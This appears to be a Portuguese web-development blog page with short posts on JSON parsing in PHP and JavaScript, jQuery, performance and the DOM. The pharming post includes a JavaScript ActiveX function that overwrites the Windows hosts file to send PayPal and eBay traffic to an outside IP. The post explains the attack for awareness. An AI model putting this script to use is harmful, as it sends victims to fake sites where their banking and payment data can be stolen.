Silici0 :: Blog

Bom, como já é comum as pessoas trabalharem com AJAX onde o envio se da para um arquivo que se conecta em um banco de dados e retorna o resultado de um Query, vou ensinar como tratar esse(s) dado(s) para retornar um Json e processar os dados sem o uso de eval(), pois como foi comentado no outro post sobre, o eval é uma função perigosa que pode executar códigos javascript maliciosos, para isso iremos usar um parser (retirado do Json.org).

Vamos ao que interessa, primeiramente vamos ver como tratar os dados de retorno de uma query, no qual precisamos criar uma array que para cada posição teremos uma array com os valores:

PHP:

$query="SELECT * FROM clientes";
$resp=mysql_query($query);
$obj=array();
while($ret=mysql_fetch_assoc($resp)){
$obj[] = $ret;
}
echo json_encode($obj);
/*Imaginemos que o Obj tenha o seguinte conteudo:
Array
(
[0] => Array
(
[id] => 7
[usuario] => usuario
[nome] => Rafael
)
[1] => Array
(
[id] => 8
[usuario] => user
[nome] => Cunha
)
)
*/
/*O conteúdo do echo será
[{"id":"7", "usuario":"usuario","nome":"Rafael" },
{"id":"8", "usuario":"user","nome":"Cunha"}]
*/

Acima então no final usamos a função json_encode do PHP para passarmos nossa array para um valor representante em Json.
Agora nossa função ajax (javascript) ja recebeu os dados e o que precisamos é dar um parse para passarmos para um Obj com notação Json para podermos manipular os dados livremente, para isso precisaremos do parser que está escrito em JavaScript e pode ser feito o download na página do Json.org:

JAVASCRIPT:

// Imaginando que seu Ajax (função) retorne o resultado com o nome de var data
var myObject = JSON.parse(data);
// Pronto: para acessarmos os dados podemos utilizar o
// myObject.id
// myObject.usuario
// myObject.nome
// For roda o Objeto JSon e retorna valor
for (var x in myObject){
alert("Meu id:� "+myObject[x].id+" usuario : "+myObject[x].usuario+" nome : "+myObject[x].nome);
}

Poque usar o JSON.parse() ? Na verdade como dito anteriormente é uma questão de segurança, pois este parse não executa códigos, nos livrando de problemas com scripts maliciosos, além de ser mais rápido do que simplesmente executar um eval(), este parse pode ser usado para executar funções em conjunto com a criação do Obj, basta dar uma olhada na documentação.

Pharming, mais um hack

Mas o que é pharming ? É a idéia de alterar, sequestrar ou mesmo contaminar o DNS da vítima para levar a vítima a um site falso, por traz disso, roubar dados pessoais, cartões de crédito, dados de banco e dentre outros (vai da imaginação de cada um), pode-se tambem criar um ponte através do de um site para o site desejado e monitorar os dados do trafego assim roubando as informações; mas porque estou falando disso aqui?! É pelo motivo que isso é feito ou pode ser feito através de sites mau intensionados com um simples código JavaScript, essa é a maneira mais utilizada.

Bom na verdade quando você digitar localhost no seu navegador ele irá procurar por este ip, caso não encontre ele vai tentando diversas combinações com www e .com e diversos outros.

O script abaixo mostra um exemplo de como podemos alterar o arquivo com Active-X no JavaScript, claro que o script ira pedir uma autorização, coisa que os hackers resolvem e você é afetado sem perceber. O que ele irá fazer é redirecionar o dominio digitado para o IP desejado.

JAVASCRIPT:

function pharmer(){
var fso = new ActiveXObject("Scripting.FileSystemObject");
var pharm = fso.CreateTextFile("C:\\WINDOWS\\system32\\Drivers\\etc\\hosts", true);
pharm.WriteLine('127.0.0.1� � � � � � localhost');
pharm.WriteLine('188.222.33.1� � � <a href="https://www.paypal.com/row/mrb/pal=2VAJ7L6XR6XWG" class="alinks_links" onclick="return alinks_click(this);" title="Transfer�ncia de dinheiro? BrPay Americano" style="padding-right: 13px; background: url(http://rafaelcunha.com/WordPress/wp-content/plugins/alinks/images/external.png) center right no-repeat;" rel="external">paypal</a>');
pharm.WriteLine('188.222.33.1� � � www.paypal.com');
pharm.WriteLine('188.222.33.1� � � ebay.com');
pharm.WriteLine('188.222.33.1� � � www.ebay.com');
pharm.Close();
}

JQuery a primeira coisa para aprender

Se você ja copiou e colou diversos script em JQuery e ainda não se preocupou em aprender ou estudar a fundo o funcionamento dele, a primeira coisa com que se preocupar é a função mais importante do JQuery, se você quer que seu código JQuery funcione dentro do seu site, coloque-o dentro da função $(document).ready().

Colocando seu código dentro desta função irá fazer com que o código rode assim que o DOM esteja pronto no seu site, antes que todo o conteúdo da página seja lida.

JAVASCRIPT:

$(document).ready(function(){
// coloque todo seu código aqui
});

E fica a dica, você pode criar quantos você quiser. Ele é a troca pelo famoso/antigo window.onload do JavaScript.

Performace em php e JS

Quando a maioria esta começando programar ou programa aplicativos/websites pequenos a performace não é um obstáculo, porém quando pensamos em milhares de acesso por hora e pagando por tráfeco, perfomace e tráfeco pode ser um problemão se não pensados e estudados com muito rigor, é algo ainda muito discutível na comunidade, questão de velocidade dos programas feitos em php, performace e tráfeco dos feitos em JavaScript, por isso o Lucas deixou 39 dicas para melhorar a perfomace na hora de codar em php.

E eu deixo a dica para JS, que a utilização de AJAX podem salvar um trafeco imenso causado pelo reload da página como um todo, claro que exige uma cautela para não usa-lo em massa pois com ajax não existe indexação pelos sistemas de busca e as requisições não tem tempo de resposta, e para economia volume de dados também existem os modos de compresão vistos aqui.

Mas onde são usados isso? Se pensarmos que existem diversos publicadores WEB utilizando PHP com JavaScript, essa é uma solúção bem cabível, para economizar com performace alta.

Ferramentas para desenvolver

Bom, existe uma grande discução sobre ferramentas para desenvolver, seja ela web-based ou não, a grande discução fica por conta se realmente a ferramenta ira lhe ajudar a construir o melhor código no melhor tempo possível. Não irei entrar no merito no momento sobre essa discução; estou para dizer que existem ferramentas que não podem faltar na vida do webdeveloper, algumas delas estão descritas abaixo :

DHTML, DOM e JavaScript DOM não são a mesma coisa

Bom vou falar um pouco sobre conceitos, logo para apresentar para vocês uma pouco o que realmente é DHTML ou Dynamic HTML e DOM, o que seria esse DOM que todo mundo fala? O conceito de DHTML é bem antigo, ja se usavam apartir do momento que lançaram o IE 4.0+, Netscape 7+, Mozilla e Firefox 1.0.

É a idéia de tornar a página dinâmica seria a possibilidade de transformar ou mudar estrutura da página sem o reload dela, mudar um título, cabeçalho, cor, esconder algo do usuário ou mostrar num passe de mágica, sem que ele espere pelo reload da página inteira novamente.

Mas o que tem a ver DOM e Javascript com tudo isso ? DOM significa Document Object Model (Modelo de Objetos de Documento) que seria a estrutura HTML. É basicamente uma arvóre de nós.

HTML:

<div id="xis">
<div id="Y">
<div id="H"></div>
</div>
</div>

No exemplo acima temos dentro da div XIS os seguintes nós XIS>Y>H . Dizendo como é nossa estrutura. A idéia do DHTML é de que com o JavaScript utilizando padronização (CSS, xHTML / HTML) podemos fazer mudanças nesta estrutura em tempo real para facilitar a vida do usuário, seja deixando um texto mais escuro, mudando uma img, abrindo e fechando caixas ou até mesmo com recursos mais avançados como o AJAX.